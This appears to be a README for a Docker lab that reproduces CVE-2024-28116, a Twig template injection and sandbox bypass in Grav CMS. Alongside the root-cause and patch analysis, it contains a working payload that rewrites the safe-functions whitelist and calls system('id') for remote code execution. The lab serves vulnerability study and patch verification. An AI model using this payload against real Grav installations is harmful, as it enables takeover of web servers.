
Analysis and Docker reproduction of CVE-2024-28116 - SSTI with sandbox bypass in Grav CMS
Analysis and Docker reproduction of CVE-2024-28116, a Server-Side Template Injection vulnerability with security sandbox bypass in Grav CMS versions up to and including 1.7.44, fixed in version 1.7.45.
Reported by: Maurizio Siddu (akabe1)
CVSS v3.1 Score: 8.8 (High)
Patched in: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Open your browser at http://localhost:8080/admin and create an administrator account on first access.
http://localhost:8080/admintest page, click Continue{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageThis confirms Remote Code Execution as the web server user.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Open your browser at http://localhost:8081/admin and repeat all the exploit steps above, targeting http://localhost:8081/test-page.
The page will be completely blank. The cleanDangerousTwig() method in Security.php detects and blocks the twig.safe_functions directive before it reaches the Twig engine. The whitelist is never modified and the command is never executed.
The vulnerability is located in system/src/Grav/Common/Twig.php. Grav implements a sandbox to prevent dangerous PHP functions from being called inside Twig templates, based on a blacklist checked by isDangerousFunction(). However, the sandbox does not protect the Twig object itself. An editor-level user can interact with the Twig object through crafted template directives and overwrite the system.twig.safe_functions whitelist at runtime. Once a dangerous function such as system() is added to the whitelist, the sandbox check is bypassed and the function executes freely.
The patch adds 'twig.safe_functions' to the list of blocked patterns inside the cleanDangerousTwig() method in system/src/Grav/Common/Security.php. Any directive containing this string is neutralised before reaching the Twig engine, making it impossible for an editor to modify the whitelist from within a template.